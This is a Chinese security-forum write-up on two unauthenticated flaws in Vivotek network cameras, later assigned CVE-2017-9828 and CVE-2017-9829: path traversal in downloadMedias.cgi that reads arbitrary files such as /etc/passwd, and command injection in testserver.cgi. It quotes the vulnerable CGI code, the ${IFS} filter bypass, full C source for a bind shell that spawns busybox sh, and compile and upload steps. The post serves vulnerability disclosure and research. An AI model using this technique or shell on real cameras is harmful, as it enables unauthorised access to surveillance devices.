An Easy Way To PWN Most Of The Vivotek Network Cameras

w.d / 2017-12-27 11:18:00 / 浏览数 2549 安全技术 漏洞分析 顶(0) 踩(0)

Author:crblog

内网中有一些 Vivotek 的网络摄像头，用作监控。直接访问 80 端口的 Web 服务，在 配置 - 维护 - 导入/导出文件 里导出配置文件，得到一个包含有 etc 文件夹的 tar 包。从目录结构来看，像是把 Linux 上的文件打包了一样，推测摄像头上运行着嵌入式 Linux 系统。

于是对 Web 服务进行黑盒测试，然而并没有发现什么漏洞。访问 `/cgi-bin/viewer/getparam_cache.cgi?system_info_firmwareversion` 得知固件版本号是 `IB8369-VVTK-0102a` ，那么型号应该就是 IB8369 了。去官网下载固件进行分析，顺手点开了固件旁边的用户指南，在一堆 cgi 接口中发现了这么一条：

这里的 query_string 居然是绝对路径，尝试读取 /etc/passwd ，返回 "Permission denied" ：

如果按照用户手册里的 /mnt/auto/CF/NCMF/xx 来，就是不会遇到前面的问题：

然而后端只检查了前缀是否为 `/mnt/auto/` ，可以路径穿越到 / 下，读取任意文件：

以上是第一个漏洞。下面是命令注入：

从 ib8369firmware.zip 里解压出 IB8369-VVTK-0102a.flash.pkg 。去掉文件头部的 54 字节后用 BandiZip 可以提取出 rootfs.img ，是文件系统镜像。

/bin 里只有 busybox 是真的 ELF ，其他都是假的，全都是到 busybox 的软链接； /sbin 里有一些厂商编译的 ELF ，用于摄像头的各种配置，其他也都是到 /bin/busybox 的软链接； /usr/bin 里有很多厂商写的 shell 脚本，也是用于摄像头的配置； /usr/share/www/cgi-bin 里是 cgi 们，有很多是 shell 脚本，一部分是 ELF 。这些 shell 脚本很多都把用户输入带入命令去执行，或者是作为参数传递给专门处理某项配置的 ELF 。既然能访问到 Web 服务，那就从这些 cgi 入手好了。

花了半小时，终于在 /usr/share/www/cgi-bin/admin/testserver.cgi
发现了一处命令注入。这个接口是在添加监控事件对应操作时的测试服务可用性的功能，比如配置让摄像头在系统启动时发出特定 HTTP 请求，或在监测到特定画面变化时发送邮件，或是定时将日志发送到指定邮箱，这个接口就可以用于测试 HTTP 请求或是邮件能否正常发送。

这个 CGI 中先把用户输入存放在 strparam 这个变量中

```
if [ "$REQUEST_METHOD" = "POST" ]; then
   strparam=`cat $stdin | cut -c1-$CONTENT_LENGTH`
else
   strparam=$QUERY_STRING
fi
```

接着把 strparam 传给 decode.sh 进行 URL 解码，然后用正则取出各个参数，存放到对应变量中

```
strparam=`decode.sh $strparam`
type=`echo "$strparam" | sed -n 's/^.*type=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
address=`echo "$strparam" | sed -n 's/^.*address=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
...
senderemail=`echo "$strparam" | sed -n 's/^.*senderemail=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
recipientemail=`echo "$strparam" | sed -n 's/^.*recipientemail=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
...
```

之后，如果 type 是 email 并且 address 和 recipientemail 非空，就把用户输入的 sendermail 和 recipientmail 代入用 sh -c 执行的字符串里：

```
if [ -n "$address" ] && [ -n "$recipientemail" ]; then
       #echo "$body" | sh -c "$SMTPC -s \"$title\" $mime_type -f \"$senderemail\" -S \"$address\" -P $port $auth \"$recipiente
       if [ "$sslmode" = "1" ]; then
           check_smtp_over_https
           sh -c "$SMTPC -s \"$title\" $mime_type -b $SEND_FILE -f \"$senderemail\" -S "127.0.0.1" -P "25" $auth \"$recipiente
       else
           sh -c "$SMTPC -s \"$title\" $mime_type -b $SEND_FILE -f \"$senderemail\" -S \"$address\" -P $port $auth \"$recipien
       fi
       if [ "$?" = "0" ]
       then
           translator "the_email_has_been_sent_successfully"
       else
           translator "error_in_sending_email"
       fi
   else
       translator "please_define_mail_server_location"
   fi
```

值得一提的是，位于 /usr/bin 的 decode.sh 在 URL 解码之前，还用 `gsub(/["<>]/,"",temp)`
过滤了双引号和尖括号。同时，所有与空格等价的符号也不能使用，因为 CGI 把 strparam 传递给 decode.sh 的时候没有加引号，而 decode.sh 中 `temp=$0`
取的是第一个参数，也就是说如果 strparam 中有空格，decode.sh 会接收到多个参数，而最终只会返回第一个参数经过 decode 后的结果。

在这里我用变量 `${IFS}` 替代空格，用 `|tee` 替代 `>`：

构造 Payload 进行命令注入：

利用前面的文件读取漏洞查看命令执行的结果：

由于目标上没有 nc 或是 bash ，而且 sh 和 ash 都是软链接到 busybox 的 ，@RicterZ 建议我交叉编译一个 bindshell：

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
 char msg[512];
 int srv_sockfd, new_sockfd;
 socklen_t new_addrlen;
 struct sockaddr_in srv_addr, new_addr;

 if (argc != 2)
 {
   printf("\nusage: ./tcpbind <listen port>\n");
   return -1;
 }

 if (fork() == 0)
 {
   if ((srv_sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0)
   {
     perror("[error] socket() failed!");
     return -1;
   }

   srv_addr.sin_family = PF_INET;
   srv_addr.sin_port = htons(atoi(argv[1]));
   srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
   if (bind(srv_sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)) < 0)
   {
     perror("[error] bind() failed!");
     return -1;
   }

   if (listen(srv_sockfd, 1) < 0)
   {
     perror("[error] listen() failed!");
     return -1;
   }

   for (;;)
   {
     new_addrlen = sizeof(new_addr);
     new_sockfd = accept(srv_sockfd, (struct sockaddr *)&new_addr, &new_addrlen);
     if (new_sockfd < 0)
     {
       perror("[error] accept() failed!");
       return -1;
     }

     if (fork() == 0)
     {
       close(srv_sockfd);
       write(new_sockfd, msg, strlen(msg));
```

```
      dup2(new_sockfd, 2);
      dup2(new_sockfd, 1);
      dup2(new_sockfd, 0);

      execl("/bin/busybox", "/bin/busybox", "sh");
      return 0;
    }
    else
      close(new_sockfd);
  }

 }
 return 0;
}
```

`./arm-926ejs-linux-gnueabi-gcc --static -O2 /tmp/bindshell.c -o /tmp/bindshell` 编译之后通过 FTP 传到摄像头的 /mnt/ramdisk 里（web 也有上传文件的接口），然后运行

总结

`/cgi-bin/admin/downloadMedias.cgi` 和 `/cgi-bin/admin/testserver.cgi` 都没有鉴权，只要能访问 web 服务，就可以成功利用。已经确认可以成功攻击的型号有 IB8369-VVTK-0102a 、FD8164-VVTK-0200b 、FD816BA-VVTK-010101 。从官网下载了十几份不同型号的最新固件进行分析，发现都存在这两个漏洞，可以推测应该是通用的。只要是用户手册有 “If your SMTP server requires a secure connection (SSL)” 这句话，就可以推断这个型号存在上文提到的命令注入漏洞。这两个漏洞可以影响绝大部分的 Vivotek 网络摄像头。

Update on June 24th: CVE-2017-9828 and CVE-2017-9829 have been assigned to the vulnerabilities.

上一篇：PHP安全新闻早八点-高级持续渗透... 下一篇：PHPcms9.6.3存储型XSS

1. 1 条回复

godsec 2017-12-28 15:08:10

你们这个是kali吗?
怎么五颜六色的

0 回复Ta
